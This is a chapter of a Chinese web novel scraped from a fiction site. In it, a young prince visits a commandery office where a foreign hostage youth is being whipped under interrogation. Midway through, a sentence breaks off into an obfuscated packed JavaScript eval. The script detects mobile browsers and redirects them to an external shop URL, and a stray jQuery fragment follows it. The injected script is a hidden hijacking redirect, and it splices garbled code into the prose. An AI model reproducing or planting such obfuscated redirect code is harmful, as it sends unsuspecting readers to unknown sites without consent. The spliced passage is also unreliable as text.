文趣网 > 其他小说 > 宠妃岂敢压我! > 5. 骄王偏生刁蛮01
    殷夙来焠奚也不过才小半月的光景,对这一方地界尚且算不得熟悉,哪里都多是生疏。

    按照原本规矩,质子一进到封地就得入王府拜见殿下,殷夙也为了那一口气攒到如今屈尊降贵亲自来接他。

    殷夙掐着时辰来正厅坐下,装模作样地叫人沏了壶上好的热茶,抿了两口嘴巴一阵干苦,咂咂舌拧着眉将那茶盏放下了,却到底没将它推远。

    没坐多久,殷夙的耐性便耗了个大半,一口气憋得更愠时底下属官呈上消息,说是质子已然踏入焠奚地界,却并没有往王府而来。

    “???”殷夙一张手重重按在案几上,愠道:“谁给他的胆子这么行事?”

    那质子既然是送到他名下来的,自然得听他的话,事事由殷夙调遣才是。但这人才刚踏入封地,都没有来拜见绥南王,就跑别的地方去了?

    胆子真是大!

    “殿下,不尽然。”属官低头,继续禀道:“人尚未移交王府便被郡督邮拦下,将人带去了郡府。”

    谢长史在一旁,若有所思后,开口道:“依制,朝使将人送入殿下封地,当直交王府,轮不到郡府插手。”

    属官没偏头,回道:“是说携往郡署核验文书。”

    什么核验文书......!

    谢长史倏然想起了一阵前因,前些日子绥南王出走之时,郡府那边不知从何得了消息,特意派人前来打探过这事儿。

    那会谢长史只以为是寻常公务,此刻这道事由一出,他不由多深思了两分。

    月下这一州的地界本就西接西沙南连离瑟,下辖各郡,即便是最深腹地之郡——焠奚,也免不了沾染边郡乱燥的风波。

    那国与国之间的嫌隙,恩怨纠葛多在官吏实在正常。

    至于是谁,谢长史心头一转,瞬间便反应了过来。

    郡丞之子曾奉命随使,却再未归来过。边郡多摩擦,时局如此,到底是不了了之。

    而如今时局是变了,郡丞身在焠奚却无法离开,那失子之恨积压多年无法宣泄,一腔怨愤,终于是在如今有了个落处——西沙派人送来的质子要入他焠奚。

    更何况绥南王也本就不愿接纳那名质子,为此甚至不惜私自离开藩地,摆明了对此是抗拒的。

    郡丞便是瞧准了这模样,知道绥南王亦不喜那人,肯定不会插手庇护,才敢这么有恃无恐地直接找个由头将人先押去了郡府。

    殷夙扬扬眉毛,“郡府?”

    谢长史打量着小殿下也一肚子怨气,如此这般不正好遂了他的意,便道:“殿下大可置之不理。”

    哪知道他那小殿下行事素来不行常理,话音不过刚落,绥南王便从座椅上一跃而起,带了好大的架势往外走去,殷夙道:“凭什么让我置之不理?郡府是行事肆意,敢狂妄到我头上来就是不行!”

    谢长史一阵汗颜,连忙跟上去改口道:“殿下所言极是,臣即刻责令下去,叫他们将人送过来,不许越制。”

    殷夙陡然停下步子,脸一转盯上了他,“不用你去。”

    谢长史抬起头,显是没懂他的意味。

    “去救他作甚?他既是这个身份,这些都是他该受的。”殷夙道:“这根本就是两码事。”

    谢长史确实早听过这位小王爷的脾性,但到底是头一回见到他的行事风格,不免有些拿捏不准。

    “你听懂了吗?”

    谢长史没什么神思,慢了半拍才张口:“臣懂了......”

    “那殿下......?”

    郡府越制、不将绥南王放在眼里是一回事,郡丞要惩戒私怨又是另一回事。殷夙两样都要讨。

    殷夙道:“我亲自去——”

    他要与郡府计较前者,又要让那人受他该受的磋磨。

    这并不冲突,还反而叫殷夙生了几分兴致,他确实想亲眼见一见这般情态。

    .......

    绥南王亲自动身前往郡府,郡丞自然是意外的。

    还能有何事能让殿下亲至?只能是来要人的。郡丞到底没敢冒犯殿下,打量着要将人先交出来时,却不想绥南王入了厅堂,径直往主位上一坐,便再没有别的什么言语举动。

    瞧着架势,看着像是一时半会不打算离开的模样。

    郡丞一瞬面对突如其来的小殿下心中是惶然的,却见殿下没有要因为那人发难的意思,又再度想起绥南王因抗拒此人而私自离郡的事情,不免将这点惶惶不安给抛却了。

    后一刻他算是从绥南王这模样中品味出了他的意味来,看这模样,是来看戏的......?

    貌似就是了!

    也是,有人替殿下收拾那厌恶之人,不必殿下亲自出手,岂不正好遂了心?

    思了个透彻,郡丞彻底没了不安,一颗心定了下来,甚至还多了点雀跃。

    他上前,同绥南王见了个礼,随后垂首正正经经禀话道:“殿下,并非下官刻意留难。外邦入藩之人,文牒印信需一一勘验——如今此人这份凭证存了疏漏,真伪一时难辨。”

    “尚需核验清楚——”

    一路被护送过来的质子身份凭证有疏漏?

    谢长史在一旁听得嘴角不由地抽了抽,觉得他这借机借得未免太过不上心。谢长史正欲开口进言,一瞥却见绥南王神色淡漠,全无要发话的意思,便先将自己的话咽下去了。

    殷夙道:“核验了?”

    “是......”郡丞道:“文牒大致核验完毕,不过此人不肯配合问询......故而难查。”

    殷夙又问:“不肯配合又该如何处置?”

    质子属于外邦人质,本来是不可直接说用刑拷打的,毕竟明面上动刑是授人把柄。

    暗地里怎么处置、磋磨人都没关系,嘴上的礼法总要守的。

    但如今情形不同,那人既在西沙不受宠,又在以一王之大的藩地中不受待见,郡丞便是嘴上直接这般说了,又能如何?

    总归消息会被锁在这一方院内,传不出去。

    于是郡丞半点要遮掩的意思也没了,直接直言开口:“顽抗不招,自可借助刑......”

    谢长史眉头一皱,往上看了一眼低声打断道:“殿下。”

    殷夙这才转头过来看了他一眼,随后先对郡丞摆摆手让他去做,后一刻才跳下椅子来,扫去了方才那点端起来的端肃模样,“你喊我做什么?”

    郡丞要如何报复那人都无事,即便牵扯到两国邦交,总归如今是在焠奚郡内,又何妨?

    偏偏不该的,是他将这话当众抛给殷夙。

    殷夙乃是大覃的绥南王殿下,天皇贵胄,皇室亲脉,行事就应该小心,哪怕只是一点点的干系,也不应该。

    “小殿下不妨先见见那位质子。”谢长史便如此道。

    殷夙到底久居皇宫,刚刚才踏出皇城,又年岁尚轻,想得不那么深。或许是即便明白这意味,也只是不放在心上。

    殷夙满不在乎道:“见就见呗,他不是要动刑吗,看完再......”

    谢长史还是多斟酌了一分,道:“殿下慎言。”

    “嗯?”殷夙不解道:“有什么好慎言的?他不是说了吗,是那人拒不配合。”

    拒不配合才动用刑讯,不是很正常吗?

    谢长史垂首低着眼睛,轻声道:“不过一方之言。”

    殷夙王府这位长史,年岁不轻,资历又算得上深厚。殷夙倒也谈不上是讨厌他,只是起初,包括如今有时候亦是如此,殷夙总嫌他事事都要管束过问,最要命的,是有一些风吹草动,他会直接将话语送往皇城,直接递到他父皇面前。

    殷夙可以耍横,再怎么任性都无关乎如何,但大事面前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877575|212397||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ——就比方如今这个能与两国邦交扯上联系的,他就不可任性。

    此事要只是传到他父皇那儿他也不怕,到底不能怎么样,但朝堂有一群讨人厌的老大臣,你一言我一语的进言能将人砸死。

    若非如此殷夙上回就直接跑回皇城了,还不是因此才导致他连这事都做不成。

    殷夙瞥了谢长史一眼,想到这里越想那股劲越收不回来,偏无可奈何,最后他撇撇嘴,甩了手妥协着往外走了,临了时道:“见、见见!那就去见!”

    他倒要看看这个郡丞到底是不是一面之词,如果见了那质子,质子真如他所言不开口讲话,到时候不用刑也得用刑了。

    人被架在庭下,四下尽数是郡府的衙役。

    郡丞站在堂外,而那名质子身前,一名差役手中握着一条长鞭,正肃然侍立在日光底下。

    因是郡丞开口呈报之时殷夙没有压下他的令,而半是应了随他而去,所以刑讯之事打人被压入庭下就已是直接开始,并不是等殿下来。

    遂,殷夙刚从正厅出来,那第一鞭便已然落了下去。

    差役并没有将人的身形完全挡住,他是站在一侧的,只不过正厅门口到庭中有段距离。

    殷夙隔着这距离,出来时正好只看见那人受了这一鞭后身形晃了晃却立足站稳了。

    殷夙瞧清楚了那人的身形,貌似是意想之外的,那个人年岁瞧着好似也并不大?

    正因为此人身量算得上高挑,体态也不枯瘦,远远瞧着与成人很像,但那副未长定型的骨架,到底藏不住少年人的模样。

    殷夙忽然停住步子,多看了他一眼。

    他与他是正面相对的,郡丞也正在这方位,只不过殷夙到底没等到太阳底下的人抬起头.......

    那人挨了一鞭半点声息都没露出来,甚至孤身而站无处借力的情况下也能身形不荡。

    只不过他撑得住,别人要得就是他撑不住。

    身后一名差役忽然上前,抬脚重重踩在了他的膝弯处。

    于是他力道一泄,膝盖往粗粝的地面上重重砸去。

    此人多少也是有些犟的,纵然膝弯被人狠狠踩下去,另一条腿也不肯如此弯折下来,是以只落得个单膝着地,并没有双膝伏倒。

    不知是有意还是无意,殷夙随着郡丞走到了这个方位,正正就是处于那质子身前,如此如今这个姿态,仿佛就好似是那个人跪在绥南王面前一般。

    殷夙打出生就身份尊贵,受过不少人的跪拜,于是对此根本不会起什么波澜,只不过......

    郡丞正要开口,却一偏头见身边的人竟然直接落了身子踩下一节阶就去了庭中。

    正午日光盛,殷夙被晒得皱乎了些眉眼,在离人不远处,殷夙站住了不动,居高临下,低头道:“你抬头。”

    那人好似没听见,不应声也没照做。

    王爷既然亲至,身后的差役自不会胆大到在他面前放肆,于是那几名差役无人再上前。

    殷夙以为他是被打没声息了,不过不是才一鞭子吗,不至于吧?

    “你若打定了主意闭口不言,便是抗拒问讯。”谢长史也上前了。

    郡丞也算是看出这位谢长史的意味,是在和他对着干,这还没开始呢!

    郡丞便是仗着殷夙年纪小,又算准了这位小殿下的脾性不会一味听从长史的,所以大胆开口。

    他正要怼上他一怼,刚要开口却见中间那位他一直觉得脾性不好的小殿下屈身往下弯了腰。

    殷夙也没落得很低,那人是真的没想抬头,但他双眼并不是低垂的。在殷夙一双眼往下去找寻那张脸时,那人的眸子一瞬锁住了殷夙的瞳仁。

    于是,殷夙总算看全了他的脸。

    “真的是你啊......”殷夙拧拧眉眼,语气不善道:“我让你抬头。”